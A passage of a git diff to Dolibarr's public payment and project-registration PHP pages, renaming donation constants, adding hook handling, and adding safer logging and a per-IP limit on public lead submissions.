      '.$langs->trans("Amount"); if (empty($amount)) { - if (empty($conf->global->MEMBER_NEWFORM_AMOUNT)) { + if (empty($conf->global->DONATION_NEWFORM_AMOUNT)) { print ' ('.$langs->trans("ToComplete"); } - if (!empty($conf->global->MEMBER_EXT_URL_SUBSCRIPTION_INFO)) { - print ' - '.$langs->trans("SeeHere").''; + if (!empty($conf->global->DONATION_EXT_URL_SUBSCRIPTION_INFO)) { + print ' - '.$langs->trans("SeeHere").''; } - if (empty($conf->global->MEMBER_NEWFORM_AMOUNT)) { + if (empty($conf->global->DONATION_NEWFORM_AMOUNT)) { print ')'; } } @@ -1761,21 +1769,21 @@ if ($source == 'donation') { $valtoshow = price2num(GETPOST("newamount", 'alpha'), 'MT'); // force default subscription amount to value defined into constant... if (empty($valtoshow)) { - if (!empty($conf->global->MEMBER_NEWFORM_EDITAMOUNT)) { - if (!empty($conf->global->MEMBER_NEWFORM_AMOUNT)) { - $valtoshow = $conf->global->MEMBER_NEWFORM_AMOUNT; + if (!empty($conf->global->DONATION_NEWFORM_EDITAMOUNT)) { + if (!empty($conf->global->DONATION_NEWFORM_AMOUNT)) { + $valtoshow = $conf->global->DONATION_NEWFORM_AMOUNT; } } else { - if (!empty($conf->global->MEMBER_NEWFORM_AMOUNT)) { - $amount = $conf->global->MEMBER_NEWFORM_AMOUNT; + if (!empty($conf->global->DONATION_NEWFORM_AMOUNT)) { + $amount = $conf->global->DONATION_NEWFORM_AMOUNT; } } } } if (empty($amount) || !is_numeric($amount)) { //$valtoshow=price2num(GETPOST("newamount",'alpha'),'MT'); - if (!empty($conf->global->MEMBER_MIN_AMOUNT) && $valtoshow) { - $valtoshow = max($conf->global->MEMBER_MIN_AMOUNT, $valtoshow); + if (!empty($conf->global->DONATION_MIN_AMOUNT) && $valtoshow) { + $valtoshow = max($conf->global->DONATION_MIN_AMOUNT, $valtoshow); } print ''; print ''; @@ -1783,8 +1791,8 @@ if ($source == 'donation') { print ' '.$langs->trans("Currency".$currency).''; } else { $valtoshow = $amount; - if (!empty($conf->global->MEMBER_MIN_AMOUNT) && $valtoshow) { - $valtoshow = max($conf->global->MEMBER_MIN_AMOUNT, $valtoshow); + if (!empty($conf->global->DONATION_MIN_AMOUNT) && $valtoshow) { + $valtoshow = max($conf->global->DONATION_MIN_AMOUNT, $valtoshow); $amount = $valtoshow; } print ''.price($valtoshow, 1, $langs, 1, -1, -1, $currency).''; // Price with currency @@ -2027,6 +2035,12 @@ if ($action != 'dopayment') { 'object' => $object ]; $reshook = $hookmanager->executeHooks('doCheckStatus', $parameters, $object, $action); + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } elseif ($reshook > 0) { + print $hookmanager->resPrint; + } + if ($source == 'order' && $object->billed) { print '

      '.$langs->trans("OrderBilled").''; } elseif ($source == 'invoice' && $object->paye) { @@ -2048,6 +2062,12 @@ if ($action != 'dopayment') { 'paymentmethod' => $paymentmethod ]; $reshook = $hookmanager->executeHooks('doAddButton', $parameters, $object, $action); + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } elseif ($reshook > 0) { + print $hookmanager->resPrint; + } + if ((empty($paymentmethod) || $paymentmethod == 'paybox') && isModEnabled('paybox')) { print '
      '; print '
      '; @@ -2221,7 +2241,7 @@ if (preg_match('/^dopayment/', $action)) { // If we choosed/click on the payme if (!empty($conf->global->STRIPE_USE_INTENT_WITH_AUTOMATIC_CONFIRMATION)) { $noidempotency_key = (GETPOSTISSET('noidempotency') ? GETPOST('noidempotency', 'int') : 0); // By default noidempotency is unset, so we must use a different tag/ref for each payment. If set, we can pay several times the same tag/ref. - $paymentintent = $stripe->getPaymentIntent($amount, $currency, $tag, 'Stripe payment: '.$fulltag.(is_object($object) ? ' ref='.$object->ref : ''), $object, $stripecu, $stripeacc, $servicestatus, 0, 'automatic', false, null, 0, $noidempotency_key); + $paymentintent = $stripe->getPaymentIntent($amount, $currency, ($tag ? $tag : $fulltag), 'Stripe payment: '.$fulltag.(is_object($object) ? ' ref='.$object->ref : ''), $object, $stripecu, $stripeacc, $servicestatus, 0, 'automatic', false, null, 0, $noidempotency_key); // The paymentintnent has status 'requires_payment_method' (even if paymentintent was already paid) //var_dump($paymentintent); if ($stripe->error) { @@ -2395,7 +2415,7 @@ if (preg_match('/^dopayment/', $action)) { // If we choosed/click on the payme color: '#fa755a', iconColor: '#fa755a' } - }; + } var cardElement = elements.create('card', {style: style}); @@ -2435,7 +2455,7 @@ if (preg_match('/^dopayment/', $action)) { // If we choosed/click on the payme ?> var cardButton = document.getElementById('buttontopay'); var clientSecret = cardButton.dataset.secret; - var options = { clientSecret: clientSecret,}; + var options = { clientSecret: clientSecret }; // Create an instance of Elements var elements = stripe.elements(options); @@ -2465,7 +2485,7 @@ if (preg_match('/^dopayment/', $action)) { // If we choosed/click on the payme color: '#fa755a', iconColor: '#fa755a' } - }; + } GETPOST('dopayment', 'alpha') ]; $reshook = $hookmanager->executeHooks('doPayment', $parameters, $object, $action); + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } elseif ($reshook > 0) { + print $hookmanager->resPrint; + } } - -htmlPrintOnlinePaymentFooter($mysoc, $langs, 1, $suffix, $object); +htmlPrintOnlineFooter($mysoc, $langs, 1, $suffix, $object); llxFooter('', 'public'); diff --git a/htdocs/public/payment/paymentko.php b/htdocs/public/payment/paymentko.php index 2504260cbc5..764455e073c 100644 --- a/htdocs/public/payment/paymentko.php +++ b/htdocs/public/payment/paymentko.php @@ -131,7 +131,9 @@ dol_syslog("Callback url when an online payment is refused or canceled. query_st $tracepost = ""; foreach ($_POST as $k => $v) { - $tracepost .= "{$k} - {$v}\n"; + if (is_scalar($k) && is_scalar($v)) { + $tracepost .= "{$k} - {$v}\n"; + } } dol_syslog("POST=".$tracepost, LOG_DEBUG, 0, '_payment'); @@ -174,7 +176,7 @@ if (!empty($_SESSION['ipaddress'])) { // To avoid to make action twice $companylangs->setDefaultLang($mysoc->default_lang); $companylangs->loadLangs(array('main', 'members', 'bills', 'paypal', 'paybox')); - $from = $conf->global->MAILING_EMAIL_FROM; + $from = !empty($conf->global->MAILING_EMAIL_FROM) ? $conf->global->MAILING_EMAIL_FROM : getDolGlobalString("MAIN_MAIL_EMAIL_FROM"); $sendto = $sendemail; $urlback = $_SERVER["REQUEST_URI"]; @@ -286,7 +288,7 @@ if ($type || $tag) { print "\n
      \n"; -htmlPrintOnlinePaymentFooter($mysoc, $langs, 0, $suffix); +htmlPrintOnlineFooter($mysoc, $langs, 0, $suffix); llxFooter('', 'public'); diff --git a/htdocs/public/payment/paymentok.php b/htdocs/public/payment/paymentok.php index 6d50d1c8c76..81fac152717 100644 --- a/htdocs/public/payment/paymentok.php +++ b/htdocs/public/payment/paymentok.php @@ -54,14 +54,16 @@ if (is_numeric($entity)) { require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/payments.lib.php'; -require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorboothattendee.class.php'; -require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorbooth.class.php'; - if (isModEnabled('paypal')) { require_once DOL_DOCUMENT_ROOT.'/paypal/lib/paypal.lib.php'; require_once DOL_DOCUMENT_ROOT.'/paypal/lib/paypalfunctions.lib.php'; } +// Hook to be used by external payment modules (ie Payzen, ...) +$hookmanager = new HookManager($db); + +$hookmanager->initHooks(array('newpayment')); + $langs->loadLangs(array("main", "other", "dict", "bills", "companies", "paybox", "paypal")); // Clean parameters @@ -173,12 +175,16 @@ dol_syslog("_SERVER[SERVER_ADDR] = ".(empty($_SERVER["SERVER_ADDR"]) ? '' : dol_ $tracepost = ""; foreach ($_POST as $k => $v) { - $tracepost .= "{$k} - {$v}\n"; + if (is_scalar($k) && is_scalar($v)) { + $tracepost .= "{$k} - {$v}\n"; + } } dol_syslog("POST=".$tracepost, LOG_DEBUG, 0, '_payment'); $tracesession = ""; foreach ($_SESSION as $k => $v) { - $tracesession .= "{$k} - {$v}\n"; + if (is_scalar($k) && is_scalar($v)) { + $tracesession .= "{$k} - {$v}\n"; + } } dol_syslog("SESSION=".$tracesession, LOG_DEBUG, 0, '_payment'); @@ -337,13 +343,23 @@ if (isModEnabled('stripe')) { } } +// Check status of the object to verify if it is paid by external payment modules +$action = ''; +$parameters = [ + 'paymentmethod' => $paymentmethod, +]; +$reshook = $hookmanager->executeHooks('isPaymentOK', $parameters, $object, $action); +if ($reshook >= 0) { + $ispaymentok = $hookmanager->resArray['ispaymentok']; +} + // If data not provided from back url, search them into the session env if (empty($ipaddress)) { $ipaddress = $_SESSION['ipaddress']; } if (empty($TRANSACTIONID)) { - $TRANSACTIONID = $_SESSION['TRANSACTIONID']; + $TRANSACTIONID = $_SESSION['TRANSACTIONID']; // pi_... or ch_... if (empty($TRANSACTIONID) && GETPOST('payment_intent', 'alphanohtml')) { // For the case we use STRIPE_USE_INTENT_WITH_AUTOMATIC_CONFIRMATION = 2 $TRANSACTIONID = GETPOST('payment_intent', 'alphanohtml'); @@ -441,7 +457,7 @@ if ($ispaymentok) { // Do action only if $FinalPaymentAmt is set (session variable is cleaned after this page to avoid duplicate actions when page is POST a second time) if (!empty($FinalPaymentAmt) && $paymentTypeId > 0) { // Security protection: - if (empty($conf->global->MEMBER_NEWFORM_EDITAMOUNT)) { // If we didn't allow members to choose their membership amount (if free amount is allowed, no need to check) + if (empty($adht->caneditamount)) { // If we didn't allow members to choose their membership amount (if the amount is allowed in edit mode, no need to check) if ($object->status == $object::STATUS_DRAFT) { // If the member is not yet validated, we check that the amount is the same as expected. $typeid = $object->typeid; @@ -764,7 +780,7 @@ if ($ispaymentok) { $moreinheader = 'X-Dolibarr-Info: send_an_email by public/payment/paymentok.php'."\r\n"; - $result = $object->send_an_email($texttosend, $subjecttosend, $listofpaths, $listofmimes, $listofnames, "", "", 0, -1, "", $moreinheader); + $result = $object->sendEmail($texttosend, $subjecttosend, $listofpaths, $listofmimes, $listofnames, "", "", 0, -1, "", $moreinheader); if ($result < 0) { $errmsg = $object->error; @@ -845,7 +861,8 @@ if ($ispaymentok) { $paiement->paiementid = $paymentTypeId; $paiement->num_payment = ''; $paiement->note_public = 'Online payment '.dol_print_date($now, 'standard').' from '.$ipaddress; - $paiement->ext_payment_id = $TRANSACTIONID; + $paiement->ext_payment_id = $TRANSACTIONID; // TODO LDR May be we should store py_... instead of pi_... but we started with pi_... so we continue. + //$paiement->ext_payment_id = $TRANSACTIONID.':'.$customer->id.'@'.$stripearrayofkeysbyenv[$servicestatus]['publishable_key']; // TODO LDR It would be better if we could store this. Do we have customer->id and publishable_key ? $paiement->ext_payment_site = $service; if (!$error) { @@ -962,8 +979,8 @@ if ($ispaymentok) { $paiement->paiementid = $paymentTypeId; $paiement->num_payment = ''; $paiement->note_public = 'Online payment ' . dol_print_date($now, 'standard') . ' from ' . $ipaddress; - $paiement->ext_payment_id = $TRANSACTIONID; - $paiement->ext_payment_site = ''; + $paiement->ext_payment_id = $TRANSACTIONID; // pi_... for Stripe, ... + $paiement->ext_payment_site = $service; // 'StripeLive' or 'Stripe', or ... if (!$error) { $paiement_id = $paiement->create($user, 1); // This include closing invoices and regenerating documents @@ -1142,6 +1159,8 @@ if ($ispaymentok) { // (we need first that the donation module is able to generate a pdf document for the cerfa with pre filled content) } elseif (array_key_exists('ATT', $tmptag) && $tmptag['ATT'] > 0) { // Record payment for registration to an event for an attendee + require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorboothattendee.class.php'; + require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorbooth.class.php'; include_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; $object = new Facture($db); $result = $object->fetch($ref); @@ -1314,7 +1333,9 @@ if ($ispaymentok) { if ($attendeetovalidate->email_company && $attendeetovalidate->email_company != $thirdparty->email) { $cc = ($cc ? ', ' : '').$attendeetovalidate->email_company; } - $from = $conf->global->MAILING_EMAIL_FROM; + + $from = !empty($conf->global->MAILING_EMAIL_FROM) ? $conf->global->MAILING_EMAIL_FROM : getDolGlobalString("MAIN_MAIL_EMAIL_FROM"); + $urlback = $_SERVER["REQUEST_URI"]; $ishtml = dol_textishtml($texttosend); // May contain urls @@ -1355,6 +1376,8 @@ if ($ispaymentok) { } } elseif (array_key_exists('BOO', $tmptag) && $tmptag['BOO'] > 0) { // Record payment for booth or conference + require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorboothattendee.class.php'; + require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorbooth.class.php'; include_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; $object = new Facture($db); $result = $object->fetch($ref); @@ -1461,6 +1484,8 @@ if ($ispaymentok) { if (!$error) { // Putting the booth to "suggested" state + require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorboothattendee.class.php'; + require_once DOL_DOCUMENT_ROOT.'/eventorganization/class/conferenceorbooth.class.php'; $booth = new ConferenceOrBooth($db); $resultbooth = $booth->fetch((int) $tmptag['BOO']); if ($resultbooth < 0) { @@ -1611,7 +1636,7 @@ if ($ispaymentok) { $companylangs->loadLangs(array('main', 'members', 'bills', 'paypal', 'paybox')); $sendto = $sendemail; - $from = $conf->global->MAILING_EMAIL_FROM; + $from = !empty($conf->global->MAILING_EMAIL_FROM) ? $conf->global->MAILING_EMAIL_FROM : getDolGlobalString("MAIN_MAIL_EMAIL_FROM"); // Define $urlwithroot $urlwithouturlroot = preg_replace('/'.preg_quote(DOL_URL_ROOT, '/').'$/i', '', trim($dolibarr_main_url_root)); $urlwithroot = $urlwithouturlroot.DOL_URL_ROOT; // This is to use external domain name found into config file @@ -1644,7 +1669,7 @@ if ($ispaymentok) { $content .= $companylangs->transnoentitiesnoconv("None"); } else { $topic .= ($ispostactionok ? '' : ' ('.$companylangs->trans("WarningPostActionErrorAfterPayment").')'); - $content .= ''.$companylangs->transnoentitiesnoconv("Error").''; + $content .= ''.$companylangs->transnoentitiesnoconv("Error").''; } $content .= '
      '."\n"; foreach ($postactionmessages as $postactionmessage) { @@ -1739,7 +1764,7 @@ if ($ispaymentok) { $companylangs->loadLangs(array('main', 'members', 'bills', 'paypal', 'paybox')); $sendto = $sendemail; - $from = $conf->global->MAILING_EMAIL_FROM; + $from = !empty($conf->global->MAILING_EMAIL_FROM) ? $conf->global->MAILING_EMAIL_FROM : getDolGlobalString("MAIN_MAIL_EMAIL_FROM"); // Define $urlwithroot $urlwithouturlroot = preg_replace('/'.preg_quote(DOL_URL_ROOT, '/').'$/i', '', trim($dolibarr_main_url_root)); $urlwithroot = $urlwithouturlroot.DOL_URL_ROOT; // This is to use external domain name found into config file @@ -1778,7 +1803,7 @@ print "\n\n"; print "\n"; -htmlPrintOnlinePaymentFooter($mysoc, $langs, 0, $suffix); +htmlPrintOnlineFooter($mysoc, $langs, 0, $suffix); // Clean session variables to avoid duplicate actions if post is resent diff --git a/htdocs/public/project/index.php b/htdocs/public/project/index.php index dfcfde94b17..347894a56e7 100644 --- a/htdocs/public/project/index.php +++ b/htdocs/public/project/index.php @@ -50,9 +50,10 @@ require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; require_once DOL_DOCUMENT_ROOT.'/societe/class/societeaccount.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; + // Hook to be used by external payment modules (ie Payzen, ...) -include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; $hookmanager = new HookManager($db); + $hookmanager->initHooks(array('newpayment')); // Load translation files @@ -124,10 +125,16 @@ $conf->dol_hide_topmenu = 1; $conf->dol_hide_leftmenu = 1; $replacemainarea = (empty($conf->dol_hide_leftmenu) ? '
      ' : '').'
      '; + llxHeader($head, $langs->trans("SuggestForm"), '', '', 0, 0, '', '', '', 'onlinepaymentbody', $replacemainarea); +//llxHeaderVierge($langs->trans("SuggestForm")); + + + print ''."\n"; print '
      '."\n"; + print ''."\n"; print ''."\n"; print ''."\n"; @@ -150,7 +157,7 @@ if (!empty($conf->global->$paramlogo)) { } elseif (!empty($conf->global->ONLINE_PAYMENT_LOGO)) { $logosmall = $conf->global->ONLINE_PAYMENT_LOGO; } -//print ''."\n"; +//print '- Show logo (logosmall='.$logosmall.' logo='.$logo.') '."\n"; // Define urllogo $urllogo = ''; $urllogofull = ''; @@ -184,21 +191,55 @@ if (!empty($conf->global->PROJECT_IMAGE_PUBLIC_ORGANIZEDEVENT)) { print '
      '; +print '
      '; +print '
      '; + + // Event summary print '
      '; -print ''.$project->title.'
      '; -print img_picto('', 'calendar', 'class="pictofixedwidth"').$langs->trans("Date").': '; -print dol_print_date($project->date_start, 'daytext'); -if ($project->date_end && $project->date_start != $project->date_end) { - print ' - '.dol_print_date($project->date_end, 'daytext'); -} +print ''.dol_escape_htmltag($project->title . ' '. $project->label).'
      '; print '

      '."\n"; -print $langs->trans("EvntOrgRegistrationWelcomeMessage")."\n"; +print ''.$langs->trans("EvntOrgRegistrationWelcomeMessage")."\n"; print $project->note_public."\n"; //print img_picto('', 'map-marker-alt').$langs->trans("Location").': xxxx'; print '
      '; +// Help text +print '
      '; + +if ($project->date_start_event || $project->date_end_event) { + print '
      '; +} +if ($project->date_start_event) { + $format = 'day'; + $tmparray = dol_getdate($project->date_start_event, false, ''); + if ($tmparray['hours'] || $tmparray['minutes'] || $tmparray['minutes']) { + $format = 'dayhour'; + } + print dol_print_date($project->date_start_event, $format); +} +if ($project->date_start_event && $project->date_end_event) { + print ' - '; +} +if ($project->date_end_event) { + $format = 'day'; + $tmparray = dol_getdate($project->date_end_event, false, ''); + if ($tmparray['hours'] || $tmparray['minutes'] || $tmparray['minutes']) { + $format = 'dayhour'; + } + print dol_print_date($project->date_end_event, $format); +} +if ($project->date_start_event || $project->date_end_event) { + print '
      '; +} +if ($project->location) { + print ''.dol_escape_htmltag($project->location).'
      '; +} + +print '
      '; + + print '
      '; print ''."\n"; @@ -245,13 +286,76 @@ print ''."\n"; print '
      '."\n"; + +print '
      '; + + print ''."\n"; print '
      '."\n"; print '
      '; -htmlPrintOnlinePaymentFooter($mysoc, $langs, 1, $suffix, $object); + +htmlPrintOnlineFooter($mysoc, $langs, 1, $suffix, $object); llxFooter('', 'public'); $db->close(); + + + +/** + * Show header for new member + * + * @param string $title Title + * @param string $head Head array + * @param int $disablejs More content into html header + * @param int $disablehead More content into html header + * @param array $arrayofjs Array of complementary js files + * @param array $arrayofcss Array of complementary css files + * @return void + */ +function llxHeaderVierge($title, $head = "", $disablejs = 0, $disablehead = 0, $arrayofjs = '', $arrayofcss = '') +{ + global $user, $conf, $langs, $mysoc; + + top_htmlhead($head, $title, $disablejs, $disablehead, $arrayofjs, $arrayofcss); // Show html headers + + print ''; + + // Define urllogo + $urllogo = DOL_URL_ROOT.'/theme/common/login_logo.png'; + + if (!empty($mysoc->logo_small) && is_readable($conf->mycompany->dir_output.'/logos/thumbs/'.$mysoc->logo_small)) { + $urllogo = DOL_URL_ROOT.'/viewimage.php?cache=1&modulepart=mycompany&file='.urlencode('logos/thumbs/'.$mysoc->logo_small); + } elseif (!empty($mysoc->logo) && is_readable($conf->mycompany->dir_output.'/logos/'.$mysoc->logo)) { + $urllogo = DOL_URL_ROOT.'/viewimage.php?cache=1&modulepart=mycompany&file='.urlencode('logos/'.$mysoc->logo); + } elseif (is_readable(DOL_DOCUMENT_ROOT.'/theme/dolibarr_logo.svg')) { + $urllogo = DOL_URL_ROOT.'/theme/dolibarr_logo.svg'; + } + + print '
      '; + + // Output html code for logo + if ($urllogo) { + print '
      '; + print '
      '; + print ''; + print '
      '; + if (empty($conf->global->MAIN_HIDE_POWERED_BY)) { + print ''; + } + print '
      '; + } + + if (!empty($conf->global->PROJECT_IMAGE_PUBLIC_SUGGEST_CONFERENCE)) { + print '
      '; + print ''; + print '
      '; + } + + print '
      '; + + print '
      '; +} diff --git a/htdocs/public/project/new.php b/htdocs/public/project/new.php index 61bbd23ea61..bd8ccd07901 100644 --- a/htdocs/public/project/new.php +++ b/htdocs/public/project/new.php @@ -39,9 +39,7 @@ if (!defined('NOIPCHECK')) { if (!defined('NOBROWSERNOTIF')) { define('NOBROWSERNOTIF', '1'); } -if (!defined('NOIPCHECK')) { - define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip -} + // For MultiCompany module. // Do not use GETPOST here, function is not defined and define must be done before including main.inc.php @@ -57,6 +55,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/json.lib.php'; require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; // Init vars $errmsg = ''; @@ -223,6 +222,7 @@ if (empty($reshook) && $action == 'add') { } else { $thirdparty->name = dolGetFirstLastname(GETPOST('firstname'), GETPOST('lastname')); } + $thirdparty->email = GETPOST('email'); $thirdparty->address = GETPOST('address'); $thirdparty->zip = GETPOST('zip'); $thirdparty->town = GETPOST('town'); @@ -288,7 +288,6 @@ if (empty($reshook) && $action == 'add') { $proj->ref = $defaultref; $proj->statut = $proj::STATUS_DRAFT; $proj->status = $proj::STATUS_DRAFT; - $proj->email = GETPOST("email"); $proj->public = 1; $proj->usage_opportunity = 1; $proj->title = $langs->trans("LeadFromPublicForm"); @@ -296,6 +295,28 @@ if (empty($reshook) && $action == 'add') { $proj->opp_status = $defaultoppstatus; $proj->fk_opp_status = $defaultoppstatus; + $proj->ip = getUserRemoteIP(); + $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 200); + $now = dol_now(); + $minmonthpost = dol_time_plus_duree($now, -1, "m"); + $nb_post_ip = 0; + if ($nb_post_max > 0) { // Calculate only if there is a limit to check + $sql = "SELECT COUNT(rowid) as nb_projets"; + $sql .= " FROM ".MAIN_DB_PREFIX."projet"; + $sql .= " WHERE ip = '".$db->escape($proj->ip)."'"; + $sql .= " AND datec > '".$db->idate($minmonthpost)."'"; + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); + $i = 0; + while ($i < $num) { + $i++; + $obj = $db->fetch_object($resql); + $nb_post_ip = $obj->nb_projets; + } + } + } + // Fill array 'array_options' with data from the form $extrafields->fetch_name_optionals_label($proj->table_element); $ret = $extrafields->setOptionalsFromPost(null, $proj); @@ -303,74 +324,82 @@ if (empty($reshook) && $action == 'add') { $error++; } - // Create the project - $result = $proj->create($user); - if ($result > 0) { - require_once DOL_DOCUMENT_ROOT.'/core/class/CMailFile.class.php'; - $object = $proj; - - if ($object->email) { - $subject = ''; - $msg = ''; - - // Send subscription email - include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; - $formmail = new FormMail($db); - // Set output language - $outputlangs = new Translate('', $conf); - $outputlangs->setDefaultLang(empty($object->thirdparty->default_lang) ? $mysoc->default_lang : $object->thirdparty->default_lang); - // Load traductions files required by page - $outputlangs->loadLangs(array("main", "members", "projects")); - // Get email content from template - $arraydefaultmessage = null; - $labeltouse = $conf->global->PROJECT_EMAIL_TEMPLATE_AUTOLEAD; - - if (!empty($labeltouse)) { - $arraydefaultmessage = $formmail->getEMailTemplate($db, 'project', $user, $outputlangs, 0, 1, $labeltouse); - } - - if (!empty($labeltouse) && is_object($arraydefaultmessage) && $arraydefaultmessage->id > 0) { - $subject = $arraydefaultmessage->topic; - $msg = $arraydefaultmessage->content; - } - if (empty($labeltosue)) { - $labeltouse = '['.$mysoc->name.'] '.$langs->trans("YourMessage"); - $msg = $langs->trans("YourMessageHasBeenReceived"); - } - - $substitutionarray = getCommonSubstitutionArray($outputlangs, 0, null, $object); - complete_substitutions_array($substitutionarray, $outputlangs, $object); - $subjecttosend = make_substitutions($subject, $substitutionarray, $outputlangs); - $texttosend = make_substitutions($msg, $substitutionarray, $outputlangs); - - if ($subjecttosend && $texttosend) { - $moreinheader = 'X-Dolibarr-Info: send_an_email by public/lead/new.php'."\r\n"; - - $result = $object->send_an_email($texttosend, $subjecttosend, array(), array(), array(), "", "", 0, -1, '', $moreinheader); - } - /*if ($result < 0) { - $error++; - setEventMessages($object->error, $object->errors, 'errors'); - }*/ - } - - if (!empty($backtopage)) { - $urlback = $backtopage; - } elseif (!empty($conf->global->PROJECT_URL_REDIRECT_LEAD)) { - $urlback = $conf->global->PROJECT_URL_REDIRECT_LEAD; - // TODO Make replacement of __AMOUNT__, etc... - } else { - $urlback = $_SERVER["PHP_SELF"]."?action=added&token=".newToken(); - } - - if (!empty($entity)) { - $urlback .= '&entity='.$entity; - } - - dol_syslog("project lead ".$proj->ref." has been created, we redirect to ".$urlback); - } else { + if ($nb_post_max > 0 && $nb_post_ip >= $nb_post_max) { $error++; - $errmsg .= $proj->error.'
      '.join('
      ', $proj->errors); + $errmsg = $langs->trans("AlreadyTooMuchPostOnThisIPAdress"); + array_push($proj->errors, $langs->trans("AlreadyTooMuchPostOnThisIPAdress")); + } + // Create the project + if (!$error) { + $result = $proj->create($user); + if ($result > 0) { + require_once DOL_DOCUMENT_ROOT.'/core/class/CMailFile.class.php'; + $object = $proj; + + if ($object->email) { + $subject = ''; + $msg = ''; + + // Send subscription email + include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; + $formmail = new FormMail($db); + // Set output language + $outputlangs = new Translate('', $conf); + $outputlangs->setDefaultLang(empty($object->thirdparty->default_lang) ? $mysoc->default_lang : $object->thirdparty->default_lang); + // Load traductions files required by page + $outputlangs->loadLangs(array("main", "members", "projects")); + // Get email content from template + $arraydefaultmessage = null; + $labeltouse = $conf->global->PROJECT_EMAIL_TEMPLATE_AUTOLEAD; + + if (!empty($labeltouse)) { + $arraydefaultmessage = $formmail->getEMailTemplate($db, 'project', $user, $outputlangs, 0, 1, $labeltouse); + } + + if (!empty($labeltouse) && is_object($arraydefaultmessage) && $arraydefaultmessage->id > 0) { + $subject = $arraydefaultmessage->topic; + $msg = $arraydefaultmessage->content; + } + if (empty($labeltosue)) { + $labeltouse = '['.$mysoc->name.'] '.$langs->trans("YourMessage"); + $msg = $langs->trans("YourMessageHasBeenReceived"); + } + + $substitutionarray = getCommonSubstitutionArray($outputlangs, 0, null, $object); + complete_substitutions_array($substitutionarray, $outputlangs, $object); + $subjecttosend = make_substitutions($subject, $substitutionarray, $outputlangs); + $texttosend = make_substitutions($msg, $substitutionarray, $outputlangs); + if ($subjecttosend && $texttosend) { + $moreinheader = 'X-Dolibarr-Info: send_an_email by public/lead/new.php'."\r\n"; + + $result = $object->sendEmail($texttosend, $subjecttosend, array(), array(), array(), "", "", 0, -1, '', $moreinheader); + } + /*if ($result < 0) { + $error++; + setEventMessages($object->error, $object->errors, 'errors'); + }*/ + } + + if (!empty($backtopage)) { + $urlback = $backtopage; + } elseif (!empty($conf->global->PROJECT_URL_REDIRECT_LEAD)) { + $urlback = $conf->global->PROJECT_URL_REDIRECT_LEAD; + // TODO Make replacement of __AMOUNT__, etc... + } else { + $urlback = $_SERVER["PHP_SELF"]."?action=added&token=".newToken(); + } + + if (!empty($entity)) { + $urlback .= '&entity='.$entity; + } + + dol_syslog("project lead ".$proj->ref." has been created, we redirect to ".$urlback); + } else { + $error++; + $errmsg .= $proj->error.'
      '.join('
      ', $proj->errors); + } + } else { + setEventMessage($errmsg, 'errors'); } } @@ -385,7 +414,6 @@ if (empty($reshook) && $action == 'add') { } // Action called after a submitted was send and member created successfully -// If MEMBER_URL_REDIRECT_SUBSCRIPTION is set to url we never go here because a redirect was done to this url. // backtopage parameter with an url was set on member submit page, we never go here because a redirect was done to this url. if (empty($reshook) && $action == 'added') { llxHeaderVierge($langs->trans("NewLeadForm")); @@ -420,7 +448,7 @@ print load_fiche_titre($langs->trans("NewContact"), '', '', 0, 0, 'center'); print '
      '; print '
      '; -print '
      '; +print '
      '; if (!empty($conf->global->PROJECT_NEWFORM_TEXT)) { print $langs->trans($conf->global->PROJECT_NEWFORM_TEXT)."
      \n"; } else { @@ -458,11 +486,11 @@ jQuery(document).ready(function () { print ''."\n"; // Lastname -print ''."\n"; +print ''."\n"; // Firstname -print ''."\n"; +print ''."\n"; // EMail -print ''."\n"; +print ''."\n"; // Company print ''."\n"; // Address @@ -506,11 +534,11 @@ if (empty($conf->global->SOCIETE_DISABLE_STATE)) { } // Other attributes -$tpl_context = 'public'; // define template context to public +$parameters['tpl_context']='public'; // define template context to public include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_add.tpl.php'; // Comments print ''; -print ''; +print ''; print ''; print ''."\n"; diff --git a/htdocs/public/project/suggestbooth.php b/htdocs/public/project/suggestbooth.php index f42e75b21b1..503fa69a730 100644 --- a/htdocs/public/project/suggestbooth.php +++ b/htdocs/public/project/suggestbooth.php @@ -33,9 +33,7 @@ if (!defined('NOIPCHECK')) { if (!defined('NOBROWSERNOTIF')) { define('NOBROWSERNOTIF', '1'); } -if (!defined('NOIPCHECK')) { - define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip -} + // For MultiCompany module. // Do not use GETPOST here, function is not defined and define must be done before including main.inc.php @@ -56,6 +54,7 @@ require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/paymentterm.class.php'; require_once 